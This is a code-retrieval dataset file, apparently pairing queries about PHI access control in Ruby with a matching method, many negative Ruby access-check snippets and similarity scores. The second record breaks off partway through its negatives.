{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def phi_allowed?\n __phi_stack.present? && __phi_stack[-1][:phi_access_allowed]\n end", "def has_access?\n true\n end", "def has_access?\n true\n end", "def has_privilege?\n has_all? || has_direct?\n end", "def allow_member?\n true\n end", "def priv?\n !org?\n end", "def can_accept?\n !self.new_record? && self.active? && !!self.kase && self.kase.active?\n end", "def can_access?(user)\n user == self.user\n end", "def permitAccess\n\tif session[:id] == nil\n\t\treturn false\n\telse\n\t\treturn true\n\tend\nend", "def allowed?\n true\n end", "def public?\n self.privacy == PUBLIC\n end", "def allow_access\n !current_cas_user.nil?\n end", "def allowed?\n true\n end", "def allowed?\n true\n end", "def public?\r\n restriction_level == Relationshiptype.everyone\r\n end", "def internal?\n self.internal\n end", "def require_phi!\n raise PhiAccessException, 'PHI Access required, please call allow_phi or allow_phi! first' unless phi_allowed?\n end", "def secretary?\n ASF::Service.find('asf-secretary').members.include? self\n end", "def can_be_accessed_by?(advocate)\n !!accessors.find(:first, :conditions => [\"accesses.requestor_id = ?\", advocate.id])\n end", "def track_accessible?\n track || is_admin\n end", "def private?\n self.private\n end", "def public?\n self.mode == PUBLIC\n end", "def can?( privilege, obj )\n\n return false if privilege == :forbidden_operation # lest wildcards allow it\n\n class_name = obj.class.sg_base_class_name\n class_perms = perms_for_class(class_name) || {}\n\n (class_perms[privilege] || []).each do |perm|\n return true if perm.allows_internal?( obj, self )\n end\n\n (class_perms[:any] || []).each do |perm|\n return true if perm.allows_internal?( obj, self )\n end\n\n return false\n\n end", "def foreign_visitor?\n not user\n end", "def vip_member\n is_admin != true\n end", "def private?\n self.private\n end", "def can_access?\n allows_current_user_access_to? :access\n end", "def patient_implicit?\n @authorized_user.patients.size == 1 \n end", "def check_access\n result = false\n if current_user.is_a? Admin\n result = true\n elsif !@measurement.nil?\n patient = @measurement.patient\n result = patient.id == current_user.id or patient.dietician.id == current_user.id\n end\n unless result\n redirect_to root_path, alert: \"Brak dostępu!\"\n end\n end", "def allowed?; true end", "def is_protected?\n is_public == true && requires_login == true\n end", "def internal?\n internal\n end", "def priviledged?\n @priviledged\n end", "def allow_access\n !@current_user.nil?\n end", "def allowed?() raise NotImplementedError end", "def protects?(thing)\n false\n end", "def has_direct?\n @privileges.fetch(@target).include?(@requisite)\n end", "def is_potential_user?\n\t\ttrue\n\tend", "def is_public?\n self.is_public\n end", "def private?\n return (self.owner_id != 0)\n end", "def private?\n sensitivity == \"Private\"\n end", "def attackable?\n true\n end", "def set_is_accessing_self\n @is_accessing_self = (\n user_account_signed_in? and (\n current_user_account.confessor and current_user_account.confessor.id == @confessor.id\n )\n )\n end", "def information?\n not_a_visitor\n end", "def votable?\n # NOTE: it was requested by NCID staff to make all registrations automatically votable\n # regardless of certification status\n return true\n# return self.certification.present?\n end", "def visible_check(_traversal_env)\n Result::DENY\n end", "def allowed?\n allowed\n end", "def authorize?\n @root.attributes[\"ath\"].to_i == 1\n end", "def is_internal?\n return (self.goal_type % 2) == 1\n end", "def can_access user\n return self.users.include? user\n end", "def phi_allowed_by\n phi_context[:user_id]\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n message = __phi_stack.present? ? \"PHI access disabled for #{__user_id_string(__phi_stack)}\" : 'PHI access disabled. No class level access was granted.'\n\n __reset_phi_stack\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def privileged?\n\t\treturn (privileged == true)\n\tend", "def claim_public?\n @current_user.nil?\n end", "def public?\n !private?\n end", "def tainted?() end", "def own?\n @cache[:is_own] ||= begin\n require_valid\n owner == obj_module || owner == obj_singleton_class\n end\n end", "def regular?\n !administrative? && !stub?\n end", "def accessible\n true \n end", "def can_access?(space = object)\n space.accessible_by_user?(current_user)\n end", "def restricted?\n page.restricted?\n end", "def signed_in?(scope = T.unsafe(nil)); end", "def allowed?\n !session[:session_key].nil?\n end", "def permitted?; end", "def define_eccept\n if current_user.info.id == @resource.id || can_manage_has_one(current_user.info, @resource, Info)\n true\n else\n redirect_to root_path\n end\n end", "def valid?\n target_in_privileges? && has_privilege?\n end", "def in_use?\n active_session = access_sessions.active.first\n !active_session.nil?\n end", "def ephemeral?\n identity < 0\n end", "def guest_access?\n guest_access == :can_join\n end", "def controls_access_for?(person)\n affected_people.any? { |p| p && (p.id == person.id) } # Checking by object doesn't work for some reason, have to use ID!\n end", "def manage?\n super || (@user && @user.is_curator?)\n end", "def fully_public?\n public && public_write\n end", "def physical?\n return data.atk_class == 1\n end", "def protect?\n protect == true\n end", "def has_private_profile?\n self.private\n end", "def allowed?(guarded_object, user, method)\n return true if (guarded_object.nil? || user.nil? || method.nil?)\n return true unless @guarded_methods.include?(method)\n \n # if they can always view it, no need to check variant.\n always = user.stonewall_role_info.detect do |r|\n granted?(r, :all, :all) || granted?(r, :all, method)\n end\n return always if always\n \n v = guarded_object.send(variant_field) &&\n guarded_object.send(variant_field).to_sym\n \n # if the variant field isn't set, is this a reasonable thing to do? \n return true if v.nil?\n \n user.stonewall_role_info.detect do |r|\n granted?(r, v, :all) || granted?(r, v, method)\n end || false\n end", "def consigned?\n false\n end", "def trip_is_public(trip, user)\n if (logged_in? and user.id == current_user.id) # User always sees his/her own trips\n return true\n else\n if trip.is_public == 1 # When browsing to other users page, user only sees public trips\n return true\n else\n return false\n end\n end\n end", "def check_access\n result = false\n if current_user.is_a? Admin\n result = true\n elsif !@template_day.nil?\n result = @template_day.patient.dietician.id == current_user.id\n elsif !@patient.nil?\n result = @patient.id == current_user.id or @patient.dietician.id == current_user.id\n end\n unless result\n redirect_to root_path, alert: \"Brak dostępu!\"\n end\n end", "def protects?(_thing)\n false\n end", "def forbidden?\n @forbidden\n end", "def can?\n current_user\n end", "def private?\n !self.public\n end", "def conditional_access\n return @conditional_access\n end", "def privileged_access?\n connected? || PrismicService.access_token\n end", "def user_can_see?(user)\n !self.private || self.is_owner?(user)\n end", "def new?\n super && !user.admin? && not_a_visitor && !user_has_other_application?\n end", "def can_xp?\n false\n end", "def private?\n private\n end", "def private?\n private\n end", "def accessible_for?(user)\n user_id == user.id && !user.anonimous?\n end", "def has_accessories_percept\n if (self.has_accessories && self.has_services)\n return false\n else\n return true\n end\n end", "def is_public?\n is_public == true && requires_login == false\n end", "def has_access\n if !current_user\n return false\n elsif current_user.mtu_id != @player.mtu_id && !Player.exists?(mtu_id: current_user.mtu_id, committee: true)\n return false\n end\n return true\n end", "def has_access\n if !current_user\n redirect_to \"/error\"\n return false;\n end\n return true\n end", "def sandboxable?\n self.get?\n end", "def public?\n !private\n end", "def public?\r\n is_live and !priv? and !draft?\r\n end", "def private?\n self.privacy == PASSWORD\n end", "def show?\n @current_user.permission('Donor', :guest)\n end" ]
[ "0.73977035", "0.67593193", "0.67593193", "0.63658214", "0.62343985", "0.62260216", "0.62142146", "0.6196914", "0.6186885", "0.61813635", "0.6175818", "0.6162348", "0.61538994", "0.61538994", "0.6144762", "0.6131584", "0.6103974", "0.6090221", "0.607106", "0.60670555", "0.60473514", "0.6031728", "0.60161525", "0.6003283", "0.5994878", "0.59915304", "0.5977163", "0.5954208", "0.5950842", "0.59392583", "0.5937493", "0.5926705", "0.5925272", "0.59222865", "0.590402", "0.59033376", "0.5894697", "0.5890734", "0.58829397", "0.5880616", "0.5874895", "0.58693236", "0.5866925", "0.58581585", "0.58572906", "0.5841486", "0.58403546", "0.58362", "0.5833149", "0.5831903", "0.5826656", "0.58228093", "0.58190554", "0.5817753", "0.58157605", "0.58100075", "0.5808711", "0.58046085", "0.5800822", "0.5794789", "0.5794709", "0.57869893", "0.5785356", "0.5778855", "0.5776322", "0.57754844", "0.57721496", "0.57651013", "0.576075", "0.57605076", "0.5756902", "0.5747248", "0.5746426", "0.5743717", "0.5735135", "0.5731117", "0.57291955", "0.572678", "0.572137", "0.5721208", "0.5718684", "0.5714637", "0.57105714", "0.57103235", "0.5708264", "0.5704718", "0.56967217", "0.5694938", "0.5688119", "0.5688119", "0.5687697", "0.5681145", "0.5674105", "0.5672794", "0.56692994", "0.56618464", "0.5661384", "0.56561196", "0.56406605", "0.56399333" ]
0.75445
0
Require phi access. Raises an error preemptively if it has not been granted.
def require_phi! raise PhiAccessException, 'PHI Access required, please call allow_phi or allow_phi! first' unless phi_allowed? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def phi_allowed?\n !phi_context.nil? && phi_context[:phi_access_allowed]\n end", "def phi_allowed?\n __phi_stack.present? && __phi_stack[-1][:phi_access_allowed]\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n message = __phi_stack.present? ? \"PHI access disabled for #{__user_id_string(__phi_stack)}\" : 'PHI access disabled. No class level access was granted.'\n\n __reset_phi_stack\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def disallow_phi\n raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given?\n\n __phi_stack.push({\n phi_access_allowed: false\n })\n\n yield if block_given?\n\n __phi_stack.pop\n end", "def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= current_user\n reason ||= i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n __phi_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end", "def disallow_last_phi!\n raise ArgumentError, 'block not allowed' if block_given?\n\n removed_access = __phi_stack.pop\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No class level access was granted.'\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= self.class.current_user\n reason ||= self.class.i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n @__phi_access_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access_for = self.class.__user_id_string(@__phi_access_stack)\n\n revoke_extended_phi!\n @__phi_access_stack = []\n\n message = removed_access_for.present? ? \"PHI access disabled for #{removed_access_for}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def access\n if @ajar == true || if @unlocked == false\n raise ArgumentError.new(\"Further permissions required\")\n elsif @ajar == false && if @unlocked == true\n puts \"your wish is granted\"\n return @ajar = true\n end\n end\n end\n end", "def allow_phi(user_id = nil, reason = nil, &block)\n get_phi(user_id, reason, &block)\n return\n end", "def allow_phi(user_id = nil, reason = nil, allow_only: nil, &block)\n get_phi(user_id, reason, allow_only: allow_only, &block)\n return\n end", "def login_required\n authorized? || throw(:halt, :access_denied)\n end", "def ensure_user\n current_user? || deny_access('You must be logged in to perform this action.')\n end", "def require_privilege(scope)\n # check if client has the required scope\n doorkeeper_authorize! scope\n return if performed?\n\n # check if user has heightened privileges\n case scope\n when :admin_all\n if not current_user.administrator?\n raise ApiError.new(\"User does not have admin privileges\", :forbidden)\n end\n when :instructor_all\n # @cud must have been set if the before_action order is correct\n if not @cud.instructor\n raise ApiError.new(\"User does not have instructor privileges for this course\", :forbidden)\n end\n end\n end", "def login_required\n authorized? || throw(:halt, :access_denied)\n end", "def access_required_member\n\tlogger.debug session.to_yaml\n\t\tredirect_to '/access_denied.html' and return unless session[\"user_#{current_user.id}\"][:access_level] >= Role.access_level('Member')\n\tend", "def admin_access_required\n access_denied unless admin?\n end", "def admin_access_required\n access_denied unless admin?\n end", "def admin_access_required\n access_denied unless admin?\n end", "def permission_required \n render_403 unless admin? || @user == current_user\n end", "def require_admin\n deny_wrong_user if !admin?\n end", "def permiso_requerido\n if not protect?(action_name)\n return true\n end\n if @session['user'] and autorizado?(@session['user'], controller_name)\n return true\n end\n store_location\n access_denied\n return false\n end", "def require_privilege(action, *type_and_perm_obj)\n perm_obj = nil\n type_and_perm_obj.each do |obj|\n perm_obj=obj if obj.is_a?(ActiveRecord::Base)\n end\n @perm_obj = perm_obj\n unless check_privilege(action, *type_and_perm_obj)\n raise PermissionError.new(\n \"You do not have permission to access this resource\")\n end\n end", "def require_puffer_user\n unless has_puffer_access?(puffer_namespace)\n redirect_to puffer.new_admin_session_url(:return_to => request.fullpath)\n return false\n end\n end", "def require_admin\n grant_access?(\"index\", \"users\")\n #position?('admin')\n end", "def require_privilege(action, *type_and_perm_obj)\n perm_obj = nil\n type_and_perm_obj.each do |obj|\n perm_obj=obj if obj.is_a?(ActiveRecord::Base)\n end\n @perm_obj = perm_obj\n unless check_privilege(action, *type_and_perm_obj)\n raise PermissionError.new(\n _('You have insufficient privileges to perform the selected action.'))\n end\n end", "def enforce_permissions\n bounce unless is_admin?\n end", "def require_admin!\n return if user_signed_in? && current_user.admin?\n\n flash[:error] = \"Sorry, you don't have permission to do that\"\n\n redirect_to root_path\n end", "def check_permissions\n require_privilege(Privilege::USE, @environment)\n end", "def login_required\n raise Forbidden unless @current_member #ログイン状態でないとForbiddenを発生させる\n end", "def authorization_required\n\n return true if is_admin?\n\n if !is_me?(@user)\n flash[:notice] = \"You don't have permission to do that.\"\n permission_denied\n false\n end\n end", "def require_admin\n not_authorized(\"Invalid credentials.\") unless is_admin?\n end", "def ensure_user_has_rights\n redirect_to root_path unless current_user\n end", "def add_disallow_flag!\n @__phi_access_stack.push({\n phi_access_allowed: false\n })\n end", "def require_admin!\n return if user_signed_in? && current_user.admin?\n\n flash[:error] = t('flash.no_permission')\n redirect_to_root\n end", "def verify_tenant_access\n begin\n\n yield\n\n MultiTenant.pending_verification.each do |pending|\n rec, model = pending\n curr_id = MultiTenant.current_tenant.id\n\n multi_tenant_incr(rec)\n\n rec_tenant = rec.send(model)\n if rec_tenant.nil? then\n # if no tenant, then must be globally accessible\n multi_tenant_decr()\n return\n end\n\n other_id = rec_tenant.id\n if curr_id != other_id then\n # PANIC\n multi_tenant_reset()\n raise AccessException, \"illegal access: tried to access tenant.id=#{other_id}; current_tenant.id=#{curr_id}\"\n end\n\n multi_tenant_decr()\n end\n\n ensure\n MultiTenant.pending_verification.clear\n MultiTenant.current_tenant = nil\n end\n end", "def require_permission\n if current_user != Pilot.find(params[:id])\n redirect_to root_path\n #Or do something else here\n end\n end", "def phi_allowed_by\n phi_context[:user_id]\n end", "def require_admin_privileges\n\t\tredirect_to root_path unless is_global_admin?\n\tend", "def require_permission\n if Goal.find(params[:id]).user != current_user\n redirect_to goals_url, flash: { error: \"You do not have permission to do that.\"}\n end\n end", "def require_x_permission(flag)\n if current_user && current_user_roles.any?{|ug| ug.admin?}\n # if role is admin, then ok\n elsif current_user && current_model_permissions.any?{|cp| cp.permitted?(flag)}\n # if enough permission, then ok\n else\n respond_to_permission_error\n end\n end", "def login_required\n \n if not protect?(action_name)\n return true \n end\n\n if @session['user'] and authorize?(@session['user'])\n return true\n end\n\n # store current location so that we can \n # come back after the user logged in\n store_location\n \n # call overwriteable reaction to unauthorized access\n access_denied\n return false \n end", "def admin_required\n current_user.is_admin? || access_denied\n end", "def disallow_last_phi!(preserve_extensions: false)\n raise ArgumentError, 'block not allowed' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access = @__phi_access_stack.pop\n\n revoke_extended_phi! unless preserve_extensions\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def require_other_permission\n respond_to_permission_error\n end", "def require_admin!\n # return if current token found and active\n return if current_admin\n\n # render error\n respond_with_error :unauthorized, I18n.t('not_authorized')\n end", "def start_if(node)\n add_error \"use scope access\" if current_user_redirect?(node)\n end", "def method_missing( sym, *args )\n\t\treturn super unless body = self.class.real_methods[ sym ]\n\n\t\tif self.authorized?\n\t\t\treturn body.clone.bind( self ).call( *args )\n\t\telse\n\t\t\tself.log.error \"Guarded method %p called without authentication!\" % [ sym ]\n\t\t\traise SecurityError, \"not authenticated\"\n\t\tend\n\tend", "def access_control\n \n end", "def gringotts_protego!\n # check to see if we should be protecting in the first place\n # maybe not, depending on config/gringotts.yml and user status\n if gringotts_protego?\n # find or create a vault for this owner\n @gringotts = Gringotts::Vault.for_owner(gringotts_owner)\n \n # what we do now is based on what the user has done before in the past...\n \n if @gringotts.show_prompt?\n # 1) owner is a first-timer, and not know about this 2FA -- show prompt\n gringotts_redirect_to gringotts_engine.prompt_path\n elsif @gringotts.confirmed?\n # 2) owner has opted-in -- require verification\n if @gringotts.verified?(session)\n # already verified -- do not do anything\n else\n # make them verify\n gringotts_redirect_to gringotts_engine.verification_path\n end\n else\n # 3) owner has declined 2FA -- not do anything\n end\n else\n # if owner not currently defined, assume is an anonymous situation\n # therefore, no need to bother them\n end\n end", "def require_correct_admin\n if current_user.user?\n raise ExceptionTypes::UnauthorizedError.new(\"Admin access only\")\n end\n if current_user.admin?\n raise ExceptionTypes::UnauthorizedError.new(\"You do not have permission to modify the program with ID #{@program.id}\") unless @program.admins.exists? current_user.id\n end\n end", "def require_user\n end", "def restrict_access\n head :unauthorized and return false unless current_user\n end", "def require_admin\n unless @current_user.is_admin?\n set_notification_messages(\"authentication.permission_denied\", :error)\n redirect_or_popup_to_default_sign_in_page\n return\n end\n end", "def login_required\n authorized? || access_denied\n end", "def login_required\n authorized? || access_denied\n end", "def login_required\n authorized? || access_denied\n end", "def login_required\n return true unless protect?(action_name)\n\n return true if user? && authorize?(session[:user])\n\n # store current location so that we can\n # come back after the user logged in\n store_location\n\n # call overwriteable reaction to unauthorized access\n access_denied\n false\n end", "def require_logged_in\n access_denied(\"You must be logged in to do that.\") unless logged_in?\n end", "def must_be_admin!\n access_denied! unless current_admin?\n end", "def authorization_required\n authorized? || authorization_denied\n end", "def login_required\nauthorized? || access_denied\nend", "def phi_access_reason\n phi_context[:reason]\n end", "def require_admin\n unless (@current_user && @current_user.is_admin?)\n set_notification_messages(I18n.t(\"authentication.permission_denied_heading\"), I18n.t(\"authentication.permission_denied_message\"), :error)\n redirect_to_sign_in_page\n return\n end\n end", "def authorize_leader!\n raise CanCan::AccessDenied if current_user.managed_chapters.count.zero?\n end", "def admin_required\n self.current_user != :false && \n self.current_user.is_admin? ? true : access_denied\n end", "def login_required\n return true unless protect?(action_name)\n\n user = session_user\n return true if user && authorize?(user)\n\n # store current location so that we can\n # come back after the user logged in\n store_location\n\n # call overwriteable reaction to unauthorized access\n access_denied\n false\n end", "def rollcall_admin_required\n if current_user.is_rollcall_admin?\n return true\n else\n redirect_to :action => \"unauthorized\", :controller => 'rollcall/rollcall_app'\n return false\n end\n end", "def enforce_requested_account_authorized!\n clear_authorization! unless requested_account_authorized?\n end", "def require_admin\n redirect_to(access_denied_path) unless current_user.is_admin_of?(@department)\n end", "def require_auth\n (authorized? && authenticated?) || halt(401)\n end", "def signin_required\n if not protect?(action_name)\n return true\n end\n\n if @current_user and authorize?(@current_user)\n return true\n end\n\n # store current location so that we can \n # come back after the user logged in\n store_location\n \n # call overwriteable reaction to unauthorized access\n access_denied\n return false \n end", "def has_access?\n true\n end", "def has_access?\n true\n end", "def verify_access\n unless current_user.id == @worker.user_id\n flash[:warning] = \"You do not have authority to access that.\"\n redirect_to user_path(current_user.id)\n end\n end", "def require_user\n if !logged_in?\n flash[:danger] = \"You must be logged in to permform this action\"\n redirect_to root_path\n end\n end", "def authorize\n run_callbacks :authorize do\n\n policy = Pundit.policy!(context.fetch(:current_token), @model)\n permission = \"#{context.fetch(:current_action)}?\"\n\n unless policy.public_send(permission)\n raise Pundit::NotAuthorizedError.new(query:permission, record: @model, policy: policy)\n end\n end\n end", "def enforce_is_admin_or_is_current_user\n bounce unless is_admin? or is_current_user?\n end", "def require_account\n get_current_account_and_membership\n return user_not_authorized unless @current_account\n end", "def allow_access\n !current_cas_user.nil?\n end", "def check_manager_or_admin\n unless current_user && (current_user.privilege_manager? || current_user.privilege_admin?)\n flash[:danger] = \"You do not have permission to perform this operation\"\n redirect_to root_path\n end\n end", "def require_admin\n #byebug\n redirect_to user_path(current_user) unless current_user.role === \"Admin\"\n end", "def admin_required\n #just a patch until i can implement users and roles\n \n # \"Speak friend, and enter\" (Moria)\n session[:friend] ||= params[:friend]\n session[:friend] || redirect_to(home_path)\n end", "def check_access_control\n @bot = Bot.find(params[:id])\n\n response_access_denied unless current_user.has_role?(:admin) || current_user.id == @bot.account.user_id\n rescue\n response_access_denied\n end", "def check_user_access\n check_access_and_redirect(@request)\n end", "def require_admin\n redirect_to root_path unless @current_user.admin?\n end", "def permission_required \n render_403 unless admin? || @item.is_editable_by?(current_user)\n end", "def semiprotect(reason = nil, expiry = 'infinite') \n protect(reason, expiry, 'edit=autoconfirmed|move=autoconfirmed')\n #possible errors: user doesn't have privileges\n end", "def require_admin\n if !logged_in? or !current_user.admin?\n redirect_to login_path, :alert => \"Access denied.\"\n end\n end", "def user_access_control\n bot = Bot.find(params[:id])\n\n if current_user.admin?\n @bot = User.find(bot.account.user_id).admin? ? current_user.bots.find(params[:id]) : bot\n else\n @bot = current_user.bots.find(params[:id])\n end\n\n rescue\n response_access_denied\n end", "def admin_required\n current_user.respond_to?('is_admin') && current_user.send('is_admin') || access_denied\n end", "def require(node, context = locals.values&.first, &block)\n @required_permissions << { node: node, context: context }\n\n @required_permissions.each do |permission|\n if holder.cannot? permission[:node], permission[:context]\n @required_permissions = [] # Reset method chain\n return NullActionsBuilder.new\n end\n end\n\n if block_given?\n instance_eval(&block)\n required_permissions = []\n end\n\n self\n end", "def editable_check(_traversal_env)\n Result::DENY\n end", "def require_admin_permission\n redirect_to tables_path, notice: 'Necesita permisos de administrador para visualizar la configuracion' unless current_user_admin?\n end", "def rollcall_isd_required\n if current_user.has_non_public_role?(:rollcall)\n return true\n else\n redirect_to :action => \"unauthorized\", :controller => 'rollcall/rollcall_app'\n return false\n end\n end", "def require_login\n !!current_user || access_denied\n end", "def permitted?; end", "def check_access\n @response = Response.new\n \n check_hash()\n \n if @response.error?\n access_denied\n return\n end\n end", "def verify_admin\n :authenticate_user!\n have_no_rights('restricted area') unless current_user.isAdmin?\nend", "def require_auth(user)\n return head(:forbidden) unless current_user == user.account\n end" ]
[ "0.6594145", "0.6286611", "0.6176078", "0.61688894", "0.61167896", "0.6050106", "0.5954506", "0.57413477", "0.5591355", "0.5549433", "0.55245435", "0.5471536", "0.5464704", "0.54590005", "0.5451551", "0.54365927", "0.5400033", "0.5400033", "0.5400033", "0.5392729", "0.5363203", "0.53499544", "0.5349885", "0.53498405", "0.533998", "0.5294085", "0.5230876", "0.5206615", "0.5189881", "0.5189282", "0.5189225", "0.5156024", "0.5155678", "0.5149602", "0.5148104", "0.5132633", "0.51173776", "0.5111812", "0.50982314", "0.5097203", "0.5095118", "0.508946", "0.5088936", "0.5074087", "0.5065102", "0.5053805", "0.5027483", "0.5023804", "0.5014343", "0.50078845", "0.50065476", "0.500315", "0.5002234", "0.49970177", "0.49936005", "0.49936005", "0.49936005", "0.499167", "0.4985412", "0.49794024", "0.4975277", "0.49737296", "0.4964228", "0.4962568", "0.49578524", "0.49528325", "0.49484688", "0.49470457", "0.49464512", "0.4944101", "0.49330178", "0.49315175", "0.49281842", "0.49281842", "0.49184963", "0.49152672", "0.49105364", "0.49049506", "0.48987654", "0.4895821", "0.4894086", "0.4890765", "0.48903713", "0.48830217", "0.48819545", "0.4881177", "0.4879159", "0.48789293", "0.48762557", "0.48692724", "0.48657626", "0.48614573", "0.48488244", "0.48475784", "0.48424628", "0.4841222", "0.48296773", "0.48290104", "0.48231763", "0.48222592" ]
0.79007185
0
Adds a disallow phi flag to instance internal stack.
def add_disallow_flag! @__phi_access_stack.push({ phi_access_allowed: false }) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def disallow_phi\n raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given?\n\n __phi_stack.push({\n phi_access_allowed: false\n })\n\n yield if block_given?\n\n __phi_stack.pop\n end", "def remove_disallow_flag!\n @__phi_access_stack.pop\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access_for = self.class.__user_id_string(@__phi_access_stack)\n\n revoke_extended_phi!\n @__phi_access_stack = []\n\n message = removed_access_for.present? ? \"PHI access disabled for #{removed_access_for}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n message = __phi_stack.present? ? \"PHI access disabled for #{__user_id_string(__phi_stack)}\" : 'PHI access disabled. No class level access was granted.'\n\n __reset_phi_stack\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def disallow_last_phi!\n raise ArgumentError, 'block not allowed' if block_given?\n\n removed_access = __phi_stack.pop\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No class level access was granted.'\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def disallow_phi\n raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given?\n\n add_disallow_flag!\n add_disallow_flag_to_extended_phi!\n\n yield if block_given?\n\n remove_disallow_flag_from_extended_phi!\n remove_disallow_flag!\n end", "def disallow_last_phi!(preserve_extensions: false)\n raise ArgumentError, 'block not allowed' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access = @__phi_access_stack.pop\n\n revoke_extended_phi! unless preserve_extensions\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def phi_allowed?\n __phi_stack.present? && __phi_stack[-1][:phi_access_allowed]\n end", "def add_disallow_flag_to_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.add_disallow_flag! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n end", "def phi_allowed?\n !phi_context.nil? && phi_context[:phi_access_allowed]\n end", "def remove_disallow_flag_from_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.remove_disallow_flag! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n end", "def require_phi!\n raise PhiAccessException, 'PHI Access required, please call allow_phi or allow_phi! first' unless phi_allowed?\n end", "def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= current_user\n reason ||= i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n __phi_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end", "def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= self.class.current_user\n reason ||= self.class.i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n @__phi_access_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end", "def disallowable\n return @disallowable if @disallowable\n\n @disallowable = parent_disallowables\n end", "def `(*args); forbidden(__method__); end", "def not\n x = pop\n\n push x.respond_to?(:~) ? ~x : !x\n end", "def disallow(&block)\n collect_bucket(&block)\n scope = @_env.nil?? :global : @_env\n if @_bucket.any?\n @_disallowed_routes[scope].push(@_bucket).flatten!\n end\n @_bucket = nil\n end", "def allow_register= v\n @allow_register = v\n @allow_register.freeze unless @allow_register.frozen?\n end", "def push_false\n \"stack_push(Qfalse);\"\n end", "def disallowSide(side)\n self.allowedSides = self.allowedSides & ~side\n end", "def wrap_phi\n # Disable PHI access by default\n @__phi_access_stack = []\n @__phi_methods_extended = Set.new\n @__phi_relations_extended = Set.new\n\n # Wrap attributes with PHI Logger and Access Control\n __phi_wrapped_methods.each { |m| phi_wrap_method(m) }\n __phi_extended_methods.each { |m| phi_wrap_extension(m) }\n end", "def pop_flag!(forced)\n agent_instance.pop_trace_execution_flag if forced\n end", "def allow_in_post_mortem; end", "def hide!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 108 )\n\n \n # - - - - main rule block - - - -\n # at line 967:5: 'hide' ( IGNORABLE )* '{'\n match( \"hide\" )\n # at line 967:12: ( IGNORABLE )*\n while true # decision 56\n alt_56 = 2\n look_56_0 = @input.peek( 1 )\n\n if ( look_56_0 == 0x9 || look_56_0 == 0xc || look_56_0 == 